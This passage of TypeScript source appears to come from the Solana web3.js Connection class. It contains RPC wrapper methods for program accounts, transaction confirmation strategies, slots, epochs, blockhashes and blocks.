=\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n\n const unsafeRes = await this._rpcRequest('getStakeActivation', args);\n const res = create(unsafeRes, jsonRpcResult(StakeActivationResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get Stake Activation ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer>}>>}\n */\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment: GetProgramAccountsConfig &\n Readonly<{withContext: true}>,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<GetProgramAccountsResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<\n | GetProgramAccountsResponse\n | RpcResponseAndContext<GetProgramAccountsResponse>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const {encoding, ...configWithoutEncoding} = config || {};\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n encoding || 'base64',\n {\n ...configWithoutEncoding,\n ...(configWithoutEncoding.filters\n ? {\n filters: applyDefaultMemcmpEncodingToFilters(\n configWithoutEncoding.filters,\n ),\n }\n : null),\n },\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const baseSchema = array(KeyedAccountInfoResult);\n const res =\n configWithoutEncoding.withContext === true\n ? create(unsafeRes, jsonRpcResultAndContext(baseSchema))\n : create(unsafeRes, jsonRpcResult(baseSchema));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch and parse all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer | ParsedAccountData>}>>}\n */\n async getParsedProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetParsedProgramAccountsConfig | Commitment,\n ): Promise<\n Array<{\n pubkey: PublicKey;\n account: AccountInfo<Buffer | ParsedAccountData>;\n }>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResult(array(KeyedParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n confirmTransaction(\n strategy: TransactionConfirmationStrategy,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n /** @deprecated Instead, call `confirmTransaction` and pass in {@link TransactionConfirmationStrategy} */\n // eslint-disable-next-line no-dupe-class-members\n confirmTransaction(\n strategy: TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n // eslint-disable-next-line no-dupe-class-members\n async confirmTransaction(\n strategy: TransactionConfirmationStrategy | TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>> {\n let rawSignature: string;\n\n if (typeof strategy == 'string') {\n rawSignature = strategy;\n } else {\n const config = strategy as TransactionConfirmationStrategy;\n\n if (config.abortSignal?.aborted) {\n return Promise.reject(config.abortSignal.reason);\n }\n rawSignature = config.signature;\n }\n\n let decodedSignature;\n\n try {\n decodedSignature = bs58.decode(rawSignature);\n } catch (err) {\n throw new Error('signature must be base58 encoded: ' + rawSignature);\n }\n\n assert(decodedSignature.length === 64, 'signature has invalid length');\n\n if (typeof strategy === 'string') {\n return await this.confirmTransactionUsingLegacyTimeoutStrategy({\n commitment: commitment || this.commitment,\n signature: rawSignature,\n });\n } else if ('lastValidBlockHeight' in strategy) {\n return await this.confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n } else {\n return await this.confirmTransactionUsingDurableNonceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n }\n }\n\n private getCancellationPromise(signal?: AbortSignal): Promise<never> {\n return new Promise<never>((_, reject) => {\n if (signal == null) {\n return;\n }\n if (signal.aborted) {\n reject(signal.reason);\n } else {\n signal.addEventListener('abort', () => {\n reject(signal.reason);\n });\n }\n });\n }\n\n private getTransactionConfirmationPromise({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }): {\n abortConfirmation(): void;\n confirmationPromise: Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>;\n } {\n let signatureSubscriptionId: number | undefined;\n let disposeSignatureSubscriptionStateChangeObserver:\n | SubscriptionStateChangeDisposeFn\n | undefined;\n let done = false;\n const confirmationPromise = new Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>((resolve, reject) => {\n try {\n signatureSubscriptionId = this.onSignature(\n signature,\n (result: SignatureResult, context: Context) => {\n signatureSubscriptionId = undefined;\n const response = {\n context,\n value: result,\n };\n resolve({__type: TransactionStatus.PROCESSED, response});\n },\n commitment,\n );\n const subscriptionSetupPromise = new Promise<void>(\n resolveSubscriptionSetup => {\n if (signatureSubscriptionId == null) {\n resolveSubscriptionSetup();\n } else {\n disposeSignatureSubscriptionStateChangeObserver =\n this._onSubscriptionStateChange(\n signatureSubscriptionId,\n nextState => {\n if (nextState === 'subscribed') {\n resolveSubscriptionSetup();\n }\n },\n );\n }\n },\n );\n (async () => {\n await subscriptionSetupPromise;\n if (done) return;\n const response = await this.getSignatureStatus(signature);\n if (done) return;\n if (response == null) {\n return;\n }\n const {context, value} = response;\n if (value == null) {\n return;\n }\n if (value?.err) {\n reject(value.err);\n } else {\n switch (commitment) {\n case 'confirmed':\n case 'single':\n case 'singleGossip': {\n if (value.confirmationStatus === 'processed') {\n return;\n }\n break;\n }\n case 'finalized':\n case 'max':\n case 'root': {\n if (\n value.confirmationStatus === 'processed' ||\n value.confirmationStatus === 'confirmed'\n ) {\n return;\n }\n break;\n }\n // exhaust enums to ensure full coverage\n case 'processed':\n case 'recent':\n }\n done = true;\n resolve({\n __type: TransactionStatus.PROCESSED,\n response: {\n context,\n value,\n },\n });\n }\n })();\n } catch (err) {\n reject(err);\n }\n });\n const abortConfirmation = () => {\n if (disposeSignatureSubscriptionStateChangeObserver) {\n disposeSignatureSubscriptionStateChangeObserver();\n disposeSignatureSubscriptionStateChangeObserver = undefined;\n }\n if (signatureSubscriptionId != null) {\n this.removeSignatureListener(signatureSubscriptionId);\n signatureSubscriptionId = undefined;\n }\n };\n return {abortConfirmation, confirmationPromise};\n }\n\n private async confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment,\n strategy: {abortSignal, lastValidBlockHeight, signature},\n }: {\n commitment?: Commitment;\n strategy: BlockheightBasedTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.BLOCKHEIGHT_EXCEEDED;\n }>(resolve => {\n const checkBlockHeight = async () => {\n try {\n const blockHeight = await this.getBlockHeight(commitment);\n return blockHeight;\n } catch (_e) {\n return -1;\n }\n };\n (async () => {\n let currentBlockHeight = await checkBlockHeight();\n if (done) return;\n while (currentBlockHeight <= lastValidBlockHeight) {\n await sleep(1000);\n if (done) return;\n currentBlockHeight = await checkBlockHeight();\n if (done) return;\n }\n resolve({__type: TransactionStatus.BLOCKHEIGHT_EXCEEDED});\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredBlockheightExceededError(signature);\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingDurableNonceStrategy({\n commitment,\n strategy: {\n abortSignal,\n minContextSlot,\n nonceAccountPubkey,\n nonceValue,\n signature,\n },\n }: {\n commitment?: Commitment;\n strategy: DurableNonceTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.NONCE_INVALID;\n slotInWhichNonceDidAdvance: number | null;\n }>(resolve => {\n let currentNonceValue: string | undefined = nonceValue;\n let lastCheckedSlot: number | null = null;\n const getCurrentNonceValue = async () => {\n try {\n const {context, value: nonceAccount} = await this.getNonceAndContext(\n nonceAccountPubkey,\n {\n commitment,\n minContextSlot,\n },\n );\n lastCheckedSlot = context.slot;\n return nonceAccount?.nonce;\n } catch (e) {\n // If for whatever reason we can't reach/read the nonce\n // account, just keep using the last-known value.\n return currentNonceValue;\n }\n };\n (async () => {\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n if (nonceValue !== currentNonceValue) {\n resolve({\n __type: TransactionStatus.NONCE_INVALID,\n slotInWhichNonceDidAdvance: lastCheckedSlot,\n });\n return;\n }\n await sleep(2000);\n if (done) return;\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n }\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n // Double check that the transaction is indeed unconfirmed.\n let signatureStatus:\n | RpcResponseAndContext<SignatureStatus | null>\n | null\n | undefined;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n const status = await this.getSignatureStatus(signature);\n if (status == null) {\n break;\n }\n if (\n status.context.slot <\n (outcome.slotInWhichNonceDidAdvance ?? minContextSlot)\n ) {\n await sleep(400);\n continue;\n }\n signatureStatus = status;\n break;\n }\n if (signatureStatus?.value) {\n const commitmentForStatus = commitment || 'finalized';\n const {confirmationStatus} = signatureStatus.value;\n switch (commitmentForStatus) {\n case 'processed':\n case 'recent':\n if (\n confirmationStatus !== 'processed' &&\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'confirmed':\n case 'single':\n case 'singleGossip':\n if (\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'finalized':\n case 'max':\n case 'root':\n if (confirmationStatus !== 'finalized') {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n default:\n // Exhaustive switch.\n // eslint-disable-next-line @typescript-eslint/no-unused-vars\n ((_: never) => {})(commitmentForStatus);\n }\n result = {\n context: signatureStatus.context,\n value: {err: signatureStatus.value.err},\n };\n } else {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingLegacyTimeoutStrategy({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }) {\n let timeoutId;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.TIMED_OUT;\n timeoutMs: number;\n }>(resolve => {\n let timeoutMs = this._confirmTransactionInitialTimeout || 60 * 1000;\n switch (commitment) {\n case 'processed':\n case 'recent':\n case 'single':\n case 'confirmed':\n case 'singleGossip': {\n timeoutMs = this._confirmTransactionInitialTimeout || 30 * 1000;\n break;\n }\n // exhaust enums to ensure full coverage\n case 'finalized':\n case 'max':\n case 'root':\n }\n timeoutId = setTimeout(\n () => resolve({__type: TransactionStatus.TIMED_OUT, timeoutMs}),\n timeoutMs,\n );\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({\n commitment,\n signature,\n });\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([confirmationPromise, expiryPromise]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredTimeoutError(\n signature,\n outcome.timeoutMs / 1000,\n );\n }\n } finally {\n clearTimeout(timeoutId);\n abortConfirmation();\n }\n return result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getClusterNodes(): Promise<Array<ContactInfo>> {\n const unsafeRes = await this._rpcRequest('getClusterNodes', []);\n const res = create(unsafeRes, jsonRpcResult(array(ContactInfoResult)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get cluster nodes');\n }\n return res.result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getVoteAccounts(commitment?: Commitment): Promise<VoteAccountStatus> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getVoteAccounts', args);\n const res = create(unsafeRes, GetVoteAccounts);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get vote accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot that the node is processing\n */\n async getSlot(\n commitmentOrConfig?: Commitment | GetSlotConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlot', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot leader of the cluster\n */\n async getSlotLeader(\n commitmentOrConfig?: Commitment | GetSlotLeaderConfig,\n ): Promise<string> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlotLeader', args);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leader');\n }\n return res.result;\n }\n\n /**\n * Fetch `limit` number of slot leaders starting from `startSlot`\n *\n * @param startSlot fetch slot leaders starting from this slot\n * @param limit number of slot leaders to return\n */\n async getSlotLeaders(\n startSlot: number,\n limit: number,\n ): Promise<Array<PublicKey>> {\n const args = [startSlot, limit];\n const unsafeRes = await this._rpcRequest('getSlotLeaders', args);\n const res = create(unsafeRes, jsonRpcResult(array(PublicKeyFromString)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leaders');\n }\n return res.result;\n }\n\n /**\n * Fetch the current status of a signature\n */\n async getSignatureStatus(\n signature: TransactionSignature,\n config?: SignatureStatusConfig,\n ): Promise<RpcResponseAndContext<SignatureStatus | null>> {\n const {context, value: values} = await this.getSignatureStatuses(\n [signature],\n config,\n );\n assert(values.length === 1);\n const value = values[0];\n return {context, value};\n }\n\n /**\n * Fetch the current statuses of a batch of signatures\n */\n async getSignatureStatuses(\n signatures: Array<TransactionSignature>,\n config?: SignatureStatusConfig,\n ): Promise<RpcResponseAndContext<Array<SignatureStatus | null>>> {\n const params: any[] = [signatures];\n if (config) {\n params.push(config);\n }\n const unsafeRes = await this._rpcRequest('getSignatureStatuses', params);\n const res = create(unsafeRes, GetSignatureStatusesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get signature status');\n }\n return res.result;\n }\n\n /**\n * Fetch the current transaction count of the cluster\n */\n async getTransactionCount(\n commitmentOrConfig?: Commitment | GetTransactionCountConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransactionCount', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get transaction count',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the current total currency supply of the cluster in lamports\n *\n * @deprecated Deprecated since RPC v1.2.8. Please use {@link getSupply} instead.\n */\n async getTotalSupply(commitment?: Commitment): Promise<number> {\n const result = await this.getSupply({\n commitment,\n excludeNonCirculatingAccountsList: true,\n });\n return result.value.total;\n }\n\n /**\n * Fetch the cluster InflationGovernor parameters\n */\n async getInflationGovernor(\n commitment?: Commitment,\n ): Promise<InflationGovernor> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getInflationGovernor', args);\n const res = create(unsafeRes, GetInflationGovernorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation');\n }\n return res.result;\n }\n\n /**\n * Fetch the inflation reward for a list of addresses for an epoch\n */\n async getInflationReward(\n addresses: PublicKey[],\n epoch?: number,\n commitmentOrConfig?: Commitment | GetInflationRewardConfig,\n ): Promise<(InflationReward | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [addresses.map(pubkey => pubkey.toBase58())],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n const unsafeRes = await this._rpcRequest('getInflationReward', args);\n const res = create(unsafeRes, GetInflationRewardResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation reward');\n }\n return res.result;\n }\n\n /**\n * Fetch the specific inflation values for the current epoch\n */\n async getInflationRate(): Promise<InflationRate> {\n const unsafeRes = await this._rpcRequest('getInflationRate', []);\n const res = create(unsafeRes, GetInflationRateRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation rate');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Info parameters\n */\n async getEpochInfo(\n commitmentOrConfig?: Commitment | GetEpochInfoConfig,\n ): Promise<EpochInfo> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getEpochInfo', args);\n const res = create(unsafeRes, GetEpochInfoRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch info');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Schedule parameters\n */\n async getEpochSchedule(): Promise<EpochSchedule> {\n const unsafeRes = await this._rpcRequest('getEpochSchedule', []);\n const res = create(unsafeRes, GetEpochScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch schedule');\n }\n const epochSchedule = res.result;\n return new EpochSchedule(\n epochSchedule.slotsPerEpoch,\n epochSchedule.leaderScheduleSlotOffset,\n epochSchedule.warmup,\n epochSchedule.firstNormalEpoch,\n epochSchedule.firstNormalSlot,\n );\n }\n\n /**\n * Fetch the leader schedule for the current epoch\n * @return {Promise<RpcResponseAndContext<LeaderSchedule>>}\n */\n async getLeaderSchedule(): Promise<LeaderSchedule> {\n const unsafeRes = await this._rpcRequest('getLeaderSchedule', []);\n const res = create(unsafeRes, GetLeaderScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get leader schedule');\n }\n return res.result;\n }\n\n /**\n * Fetch the minimum balance needed to exempt an account of `dataLength`\n * size from rent\n */\n async getMinimumBalanceForRentExemption(\n dataLength: number,\n commitment?: Commitment,\n ): Promise<number> {\n const args = this._buildArgs([dataLength], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getMinimumBalanceForRentExemption',\n args,\n );\n const res = create(unsafeRes, GetMinimumBalanceForRentExemptionRpcResult);\n if ('error' in res) {\n console.warn('Unable to fetch minimum balance for rent exemption');\n return 0;\n }\n return res.result;\n }\n\n /**\n * Fetch a recent blockhash from the cluster, return with context\n * @return {Promise<RpcResponseAndContext<{blockhash: Blockhash, feeCalculator: FeeCalculator}>>}\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhashAndContext(commitment?: Commitment): Promise<\n RpcResponseAndContext<{\n blockhash: Blockhash;\n feeCalculator: FeeCalculator;\n }>\n > {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getRecentBlockhash', args);\n const res = create(unsafeRes, GetRecentBlockhashAndContextRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get recent blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch recent performance samples\n * @return {Promise<Array<PerfSample>>}\n */\n async getRecentPerformanceSamples(\n limit?: number,\n ): Promise<Array<PerfSample>> {\n const unsafeRes = await this._rpcRequest(\n 'getRecentPerformanceSamples',\n limit ? [limit] : [],\n );\n const res = create(unsafeRes, GetRecentPerformanceSamplesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent performance samples',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch the fee calculator for a recent blockhash from the cluster, return with context\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getFeeForMessage} instead.\n */\n async getFeeCalculatorForBlockhash(\n blockhash: Blockhash,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<FeeCalculator | null>> {\n const args = this._buildArgs([blockhash], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getFeeCalculatorForBlockhash',\n args,\n );\n\n const res = create(unsafeRes, GetFeeCalculatorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee calculator');\n }\n const {context, value} = res.result;\n return {\n context,\n value: value !== null ? value.feeCalculator : null,\n };\n }\n\n /**\n * Fetch the fee for a message from the cluster, return with context\n */\n async getFeeForMessage(\n message: VersionedMessage,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<number | null>> {\n const wireMessage = toBuffer(message.serialize()).toString('base64');\n const args = this._buildArgs([wireMessage], commitment);\n const unsafeRes = await this._rpcRequest('getFeeForMessage', args);\n\n const res = create(unsafeRes, jsonRpcResultAndContext(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee for message');\n }\n if (res.result === null) {\n throw new Error('invalid blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of prioritization fees from recent blocks.\n */\n async getRecentPrioritizationFees(\n config?: GetRecentPrioritizationFeesConfig,\n ): Promise<RecentPrioritizationFees[]> {\n const accounts = config?.lockedWritableAccounts?.map(key => key.toBase58());\n const args = accounts?.length ? [accounts] : [];\n const unsafeRes = await this._rpcRequest(\n 'getRecentPrioritizationFees',\n args,\n );\n const res = create(unsafeRes, GetRecentPrioritizationFeesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent prioritization fees',\n );\n }\n return res.result;\n }\n /**\n * Fetch a recent blockhash from the cluster\n * @return {Promise<{blockhash: Blockhash, feeCalculator: FeeCalculator}>}\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhash(\n commitment?: Commitment,\n ): Promise<{blockhash: Blockhash; feeCalculator: FeeCalculator}> {\n try {\n const res = await this.getRecentBlockhashAndContext(commitment);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhash(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n try {\n const res = await this.getLatestBlockhashAndContext(commitmentOrConfig);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhashAndContext(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<RpcResponseAndContext<BlockhashWithExpiryBlockHeight>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getLatestBlockhash', args);\n const res = create(unsafeRes, GetLatestBlockhashRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get latest blockhash');\n }\n return res.result;\n }\n\n /**\n * Returns whether a blockhash is still valid or not\n */\n async isBlockhashValid(\n blockhash: Blockhash,\n rawConfig?: IsBlockhashValidConfig,\n ): Promise<RpcResponseAndContext<boolean>> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgs(\n [blockhash],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('isBlockhashValid', args);\n const res = create(unsafeRes, IsBlockhashValidRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to determine if the blockhash `' + blockhash + '`is valid',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the node version\n */\n async getVersion(): Promise<Version> {\n const unsafeRes = await this._rpcRequest('getVersion', []);\n const res = create(unsafeRes, jsonRpcResult(VersionResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get version');\n }\n return res.result;\n }\n\n /**\n * Fetch the genesis hash\n */\n async getGenesisHash(): Promise<string> {\n const unsafeRes = await this._rpcRequest('getGenesisHash', []);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get genesis hash');\n }\n return res.result;\n }\n\n /**\n * Fetch a processed block from the cluster.\n *\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n async getBlock(\n slot: number,\n rawConfig?: GetBlockConfig,\n ): Promise<BlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<AccountsModeBlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'none'},\n ): Promise<NoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<VersionedBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<VersionedAccountsModeBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<VersionedNoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | VersionedBlockResponse\n | VersionedAccountsModeBlockResponse\n | VersionedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n const {result} = res;\n return result\n ? {\n ...result,\n transactions: result.transactions.map(\n ({transaction, meta, version}) => ({\n meta,\n transaction: {\n ...transaction,\n message: versionedMessageFromResponse(\n version,\n transaction.message,\n ),\n },\n version,\n }),\n ),\n }\n : null;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(\n e as JSONRPCError,\n 'failed to get confirmed block',\n );\n }\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized block\n */\n async getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<ParsedNoneModeBlockResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async 